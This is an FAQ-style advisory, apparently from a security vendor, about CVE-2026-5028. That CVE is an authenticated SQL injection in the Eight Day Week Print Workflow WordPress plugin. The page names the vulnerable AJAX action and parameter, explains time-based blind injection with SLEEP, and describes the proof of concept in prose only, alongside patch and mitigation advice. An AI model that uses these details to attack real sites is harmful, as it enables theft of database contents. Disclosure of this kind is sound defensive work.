Frequently Asked Questions
What is CVE-2026-5028?
Overview of the vulnerabilityCVE-2026-5028 is a medium severity SQL injection vulnerability found in the Eight Day Week Print Workflow plugin for WordPress, affecting versions up to 1.2.6. It allows authenticated users with Subscriber-level access and above to inject arbitrary SQL queries through the ‘title’ parameter in the pp-get-articles AJAX action.
How does the SQL injection vulnerability work?
Mechanism of exploitationThe vulnerability arises from insufficient input validation on the ‘title’ parameter, which is directly used in SQL queries without proper sanitization. Attackers can exploit this by sending crafted requests that manipulate the SQL query, potentially allowing them to extract sensitive information from the database.
Who is affected by this vulnerability?
Identifying vulnerable usersAll WordPress installations using the Eight Day Week Print Workflow plugin version 1.2.6 and earlier are affected. Specifically, authenticated users with Subscriber-level access or higher can exploit this vulnerability.
How can I check if my site is vulnerable?
Steps to identify vulnerabilityTo check if your site is vulnerable, verify the version of the Eight Day Week Print Workflow plugin installed. If it is version 1.2.6 or earlier, your site is at risk. Additionally, you can review server logs for any suspicious AJAX requests targeting the pp-get-articles action.
What should I do to fix this vulnerability?
Mitigation stepsTo fix the vulnerability, update the Eight Day Week Print Workflow plugin to version 1.3.0 or later, which includes a patch that implements proper input validation and uses prepared statements for SQL queries. Regularly check for updates to ensure ongoing security.
What does a CVSS score of 6.5 indicate?
Understanding risk levelsA CVSS score of 6.5 is classified as medium severity, indicating that while the vulnerability is not critical, it poses a significant risk if exploited. It suggests that attackers with certain access can exploit the vulnerability to gain sensitive information or perform unauthorized actions.
What is time-based blind SQL injection?
Exploit technique explanationTime-based blind SQL injection is a technique where an attacker determines if a SQL injection is possible by measuring the time taken for the server to respond to specific queries. By using commands like ‘SLEEP’, attackers can infer information based on response delays, allowing them to extract data character by character.
What is the proof of concept for this vulnerability?
Demonstration of exploitationThe proof of concept involves sending a POST request to the vulnerable AJAX endpoint with a malicious payload in the ‘title’ parameter. The payload can include SQL commands that utilize time-based techniques to confirm the vulnerability and extract sensitive information from the database.
How can I protect my site from this type of vulnerability in the future?
Preventive measuresTo protect your site from similar vulnerabilities, ensure that all plugins and themes are regularly updated, implement security plugins that monitor for suspicious activity, and conduct regular security audits. Additionally, consider using web application firewalls to filter out malicious requests.
What are the consequences of a successful exploitation?
Potential impact of the vulnerabilitySuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive information stored in the database, such as user credentials and personal data. This could result in further attacks, including privilege escalation or data manipulation.
What are nonce checks and why are they important?
Role of nonce in securityNonce checks are security tokens used in WordPress to verify that a request comes from a legitimate source. They help prevent unauthorized actions by ensuring that only users with the right permissions can execute certain actions, such as AJAX requests.
What changes were made in the patched version?
Overview of the patchThe patched version 1.3.0 includes significant changes such as implementing proper input validation for the ‘title’ parameter, using prepared statements for SQL queries, and adding capability checks to the AJAX handler. These changes enhance the security of the plugin and mitigate the risk of SQL injection.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






